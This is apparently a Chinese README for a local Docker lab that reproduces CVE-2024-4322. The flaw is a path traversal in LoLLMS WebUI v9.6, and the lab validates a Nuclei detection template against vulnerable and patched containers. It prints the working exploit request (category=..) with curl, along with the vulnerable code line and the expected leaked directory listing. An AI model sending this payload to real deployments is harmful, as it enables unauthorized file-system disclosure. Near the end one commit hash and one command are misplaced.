本仓库提供 Docker 化的本地实验室,用于复现 CVE-2024-4322(LoLLMS WebUI v9.6 中的一个路径遍历漏洞),并验证相关的 Nuclei 模板不会匹配 LoLLMS WebUI v9.8。
请仅对本地、自有或明确授权的目标使用此实验室。
LoLLMS WebUI v9.6 中的 /list_personalities 端点存在路径遍历漏洞。用户可控的 category 参数未经净化处理即被追加到 personalities_zoo_path:
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
通过发送 category=..,请求可以逃逸预期的 personalities 目录并列出父目录的内容。
预期的漏洞信号:
category= -> []
category=.. -> response contains "personalities_zoo"
已修复的 v9.8 行为会在目录列表之前拒绝遍历输入。
从包含本 README 的目录运行所有命令。
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
等待出现:
Uvicorn running on http://0.0.0.0:9600
按 Ctrl-C 停止跟踪日志。容器会继续运行。
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
预期结果:
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
顺序可能有所不同。重要的信号是遍历响应与控制响应不同,并且包含 personalities_zoo。
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
预期结果:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
等待出现:
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
预期结果:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
预期结果:
[INF] Scan completed ... 0 matches found.

这需要 Docker Desktop 处于 Windows 容器 模式。请在 PowerShell 中从本目录运行以下命令。
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
等待出现:
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
预期结果:
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
顺序可能有所不同。重要的信号是遍历响应与控制响应不同,并且包含 personalities_zoo。
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
预期结果:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

这需要 Docker Desktop 处于 Windows 容器 模式。请在 PowerShell 中从本目录运行以下命令。
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
等待出现:
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
预期结果:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
预期结果:
[INF] Scan completed ... 0 matches found.

Linux 容器:
docker compose --profile patched down --rmi local
Windows 容器:
docker compose --profile windows down
curl。jq。如果 Linux 主机上没有 jq,请使用 analyst 容器:
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
如果 Windows 上未安装 Nuclei,请从 https://github.com/projectdiscovery/nuclei/releases 下载 Windows 发布版二进制文件,解压后直接从解压目录运行 nuclei.exe。
Dockerfile 在构建过程中修补历史安装程序,以便实验室今天仍可复现:
易受攻击的实验室克隆 lollms-webui 的 v9.6 标签。
已修复的实验室克隆 lollms-webui 的 v9.8 标签。
lollms_core 子模块的 URL 被重写为 https://github.com/ParisNeo/lollms_legacy.git,因为旧的源码历史已迁移到那里。
版本固定通过上游 Git 元数据校验:v9.6 为 e2f2d313cd6ea3fe81dfc4496f985f5b650853b9,v9.8 为 8a8e3a1c386321f641a014bf8f7029512ccad411。
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
对应的 lollms_core 子模块提交为:v9.6 对应 cfb18f6f1091addf440347322441ab28005a2d3b,v9.8 对应 ,可通过在每个标签检出上运行 校验。
被破坏的不变式是:
resolved path must stay inside the personalities directory
LoLLMS WebUI v9.8 及更高版本通过在 category 路径到达文件系统目录列表逻辑之前对其进行净化或约束来解决此问题。对于实际部署,请将 LoLLMS WebUI 升级到 9.8 或更高版本。
| 环境 | 版本 | 服务 | 主机 URL | 预期模板结果 |
|---|
| Linux 易受攻击 | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | 匹配 |
| Linux 已修复 | v9.8 | linux-patched-server | http://127.0.0.1:9602 | 不匹配 |
| Windows 易受攻击 | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | 匹配 |
| Windows 已修复 | v9.8 | windows-patched-server | http://127.0.0.1:9603 | 不匹配 |
6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49git ls-tree HEAD lollms_core禁用 auto_update 和 auto_sync_* 选项以保持每个实验室固定在指定版本。
注入无头配置文件,使服务器无需提示即可启动。
尽可能跳过端点验证不需要的重型依赖。
Windows 安装程序经过修补,以创建其临时目录并避免过时的递归子模块。